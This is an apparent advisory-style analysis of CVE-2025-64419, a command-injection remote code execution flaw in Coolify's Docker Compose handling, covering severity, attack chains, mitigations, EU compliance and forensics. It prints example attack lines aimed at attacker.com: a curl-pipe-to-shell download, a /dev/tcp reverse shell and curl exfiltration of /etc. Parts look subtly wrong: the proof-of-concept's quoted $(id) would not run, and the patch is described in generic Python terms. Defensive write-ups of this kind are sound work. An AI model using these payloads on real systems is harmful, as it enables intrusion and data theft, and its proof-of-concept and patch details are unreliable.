Comprehensive Technical Analysis of EUVD-2025-206244 (CVE-2025-64419)

Vulnerability in Coolify: Unsanitized Docker Compose Parameters Leading to Remote Code Execution (RCE)

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

EUVD-2025-206244 (CVE-2025-64419) is a critical remote code execution (RCE) vulnerability in Coolify, an open-source, self-hostable infrastructure management tool. The flaw arises from improper sanitization of user-controlled parameters extracted from docker-compose.yaml files when executing system commands. An attacker can exploit this to execute arbitrary commands on the Coolify host with root privileges.

CVSS v3.1 Severity Breakdown

Metric	Value	Explanation
Base Score	9.7 (Critical)	High impact on confidentiality, integrity, and availability.
Attack Vector (AV)	Network (N)	Exploitable remotely over the network.
Attack Complexity (AC)	Low (L)	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication required.
User Interaction (UI)	Required (R)	Victim must manually import a malicious repository.
Scope (S)	Changed (C)	Impact extends beyond the vulnerable component (Coolify) to the underlying host.
Confidentiality (C)	High (H)	Full system compromise possible.
Integrity (I)	High (H)	Attacker can modify system files, deploy malware, or alter configurations.
Availability (A)	High (H)	Attacker can disrupt services or destroy data.

Severity Justification

• Critical Impact: Successful exploitation grants root-level RCE, enabling full system takeover.
• Low Exploitation Barrier: No authentication is required, and the attack can be executed remotely.
• High Likelihood of Exploitation: The vulnerability is trivially exploitable if a victim interacts with a malicious docker-compose.yaml file.
• Widespread Deployment Risk: Coolify is widely used in self-hosted DevOps environments, increasing the attack surface.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Scenario

An attacker crafts a malicious docker-compose.yaml file containing command injection payloads in parameters that Coolify processes unsafely. When a victim:

1. Imports a repository containing the malicious docker-compose.yaml (e.g., via GitHub/GitLab integration).
2. Deploys the application using the "Docker Compose" build pack.
3. Coolify executes unsanitized commands from the YAML file, leading to arbitrary command execution as root.

Proof-of-Concept (PoC) Exploitation

A malicious docker-compose.yaml could include:

version: '3'
services:
  web:
    image: nginx
    command: ["sh", "-c", "echo '$(id) > /tmp/pwned'"]  # Command injection
    volumes:
      - "/:/host"  # Mounts host filesystem (if misconfigured)

When processed by Coolify, the command field is executed without sanitization, allowing:

• Arbitrary command execution (e.g., curl http://attacker.com/shell.sh | sh).
• Reverse shell establishment (e.g., bash -i >& /dev/tcp/attacker.com/4444 0>&1).
• Data exfiltration (e.g., tar czf - /etc | base64 | curl -d @- http://attacker.com/exfil).
• Persistence mechanisms (e.g., adding SSH keys, cron jobs, or backdoors).

Attack Chains

1. Social Engineering Attack:

   • Attacker hosts a legitimate-looking repository (e.g., a "coolify-templates" repo) containing the malicious docker-compose.yaml.
   • Victim is tricked into importing and deploying it.

2. Supply Chain Attack:

   • Attacker compromises a popular Coolify template repository (e.g., on GitHub) and injects the payload.
   • Victims unknowingly deploy the malicious configuration.

3. Phishing via CI/CD Pipelines:

   • If Coolify is integrated into automated deployment pipelines, an attacker could submit a malicious pull request containing the exploit.

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3. Affected Systems and Software Versions

Vulnerable Versions

• Coolify versions prior to 4.0.0-beta.445 are affected.
• All deployment environments (bare metal, cloud, containers) are vulnerable if running an unpatched version.

Affected Components

• Coolify Core (command execution engine).
• Docker Compose Build Pack (responsible for parsing docker-compose.yaml).

Not Affected

• Coolify 4.0.0-beta.445 and later (patched version).
• Alternative build packs (e.g., "Dockerfile" or "Nixpacks") are not affected unless they also process docker-compose.yaml unsafely.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Upgrade to the Latest Version:

   • Patch immediately to Coolify 4.0.0-beta.445 or later.
   • Verify the fix via the GitHub commit.

2. Temporary Workarounds (if patching is delayed):

   • Disable Docker Compose Build Pack until the patch is applied.
   • Restrict repository imports to trusted sources only.
   • Implement network segmentation to limit lateral movement if Coolify is compromised.

3. Monitor for Exploitation Attempts:

   • Audit logs for unusual docker-compose.yaml deployments.
   • Scan for suspicious processes (e.g., reverse shells, unexpected curl/wget commands).
   • Deploy EDR/XDR solutions to detect post-exploitation activity.

Long-Term Security Hardening

1. Input Sanitization & Secure Coding:

   • Enforce strict parameter validation for all docker-compose.yaml fields.
   • Use safe command execution methods (e.g., subprocess.run() with explicit argument lists in Python).
   • Implement a sandboxed execution environment (e.g., gVisor, Kata Containers) for untrusted deployments.

2. Least Privilege Principle:

   • Run Coolify as a non-root user (if possible).
   • Use Linux capabilities to restrict Docker daemon permissions.
   • Enable AppArmor/SELinux to confine Coolify processes.

3. Network & Access Controls:

   • Restrict Coolify’s network access (e.g., block outbound connections to known malicious IPs).
   • Enforce MFA for Coolify admin access.
   • Use private Git repositories for deployment templates.

4. Incident Response Planning:

   • Develop a playbook for responding to Coolify compromises.
   • Isolate affected systems immediately upon detection.
   • Rotate all credentials (SSH keys, API tokens, database passwords) post-compromise.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications

• GDPR (General Data Protection Regulation):
  • A successful RCE could lead to unauthorized data access, triggering mandatory breach notifications (Art. 33) and potential fines up to 4% of global revenue (Art. 83).
• NIS2 Directive (Network and Information Security):
  • Organizations in critical sectors (e.g., energy, healthcare, digital infrastructure) must report incidents within 24 hours.
  • Failure to patch could result in regulatory penalties.
• DORA (Digital Operational Resilience Act):
  • Financial institutions must ensure secure software supply chains; this vulnerability could be exploited in third-party risk scenarios.

Threat Landscape in Europe

• Increased Targeting of DevOps Tools:
  • Attackers are increasingly exploiting CI/CD and infrastructure-as-code (IaC) tools (e.g., Jenkins, ArgoCD, Coolify) due to their high-privilege access.
• Supply Chain Risks:
  • European organizations relying on open-source DevOps tools are at risk of supply chain attacks (e.g., malicious GitHub repositories).
• Critical Infrastructure Exposure:
  • Coolify is used in self-hosted cloud environments, including government, healthcare, and financial services, making it a high-value target.

ENISA & National CERT Recommendations

• ENISA Threat Landscape Report (2026):
  • Likely to highlight increased RCE vulnerabilities in IaC tools as a top threat.
• National CERTs (e.g., CERT-EU, BSI, ANSSI):
  • Expected to issue urgent advisories for organizations using Coolify.
  • May recommend mandatory patching for critical infrastructure operators.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability stems from improper handling of docker-compose.yaml parameters in Coolify’s command execution logic. Specifically:

• Unsanitized Input: Coolify directly interpolates user-controlled fields (e.g., command, environment, volumes) into shell commands without escaping or validation.
• Privilege Escalation: Since Coolify often runs with root privileges (or Docker socket access), injected commands execute with full system control.

Patch Analysis (GitHub Commit f86ccfaa9af572a5487da8ea46b0a125a4854cf6)

The fix introduces:

1. Parameter Sanitization:
   • Escapes shell metacharacters (;, |, &, $, `, etc.) in docker-compose.yaml fields.
   • Uses explicit argument lists (e.g., subprocess.run([...]) in Python) instead of shell interpolation.
2. Strict Validation:
   • Rejects malformed YAML that could bypass sanitization.
   • Implements allowlisting for certain fields (e.g., image, ports).

Detection & Forensics

Indicators of Compromise (IoCs)

IoC Type	Example
Process Execution	sh -c echo '$(id) > /tmp/pwned'
Network Connections	Outbound connections to attacker.com:4444 (reverse shell)
File System Artifacts	/tmp/pwned, /root/.ssh/authorized_keys (backdoor)
Log Entries	Unusual docker-compose.yaml deployments in Coolify logs

Forensic Investigation Steps

1. Check Coolify Logs:

   grep -r "docker-compose.yaml" /var/log/coolify/
   

2. Inspect Running Processes:

   ps aux | grep -E 'sh -c|bash -i|nc -lvp'
   

3. Analyze Docker Containers:

   docker ps -a --no-trunc
   docker inspect <container_id> | grep -A 10 "Cmd"
   

4. Check for Persistence:

   crontab -l
   ls -la /etc/cron.d/
   cat /root/.ssh/authorized_keys
   

Exploitation Mitigation Testing

• Manual Testing:
  • Deploy a test docker-compose.yaml with a benign payload (e.g., command: ["echo", "test"]).
  • Verify that no shell injection occurs (e.g., $(id) should not execute).
• Automated Scanning:
  • Use Trivy or Grype to scan for vulnerable Coolify versions.
  • Nuclei can be used to test for the vulnerability (if a PoC template is available).

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Conclusion & Recommendations

EUVD-2025-206244 (CVE-2025-64419) is a critical RCE vulnerability in Coolify with severe implications for European organizations. Given its low exploitation complexity and high impact, immediate patching is mandatory.

Key Takeaways for Security Teams

✅ Patch Now: Upgrade to Coolify 4.0.0-beta.445 or later. ✅ Restrict Deployments: Only allow trusted repositories for docker-compose.yaml. ✅ Monitor for Exploitation: Deploy EDR/XDR and log analysis to detect attacks. ✅ Hardening: Apply least privilege principles and sandboxing for Coolify. ✅ Compliance Check: Ensure GDPR/NIS2/DORA obligations are met post-patch.

Further Research

• Develop a detection rule for SIEM (e.g., Splunk, ELK) to alert on suspicious docker-compose.yaml deployments.
• Reverse-engineer the patch to understand the exact sanitization logic.
• Assess other IaC tools (e.g., Portainer, Rancher) for similar vulnerabilities.

Final Risk Rating: Critical (9.7 CVSS) – Immediate Action Required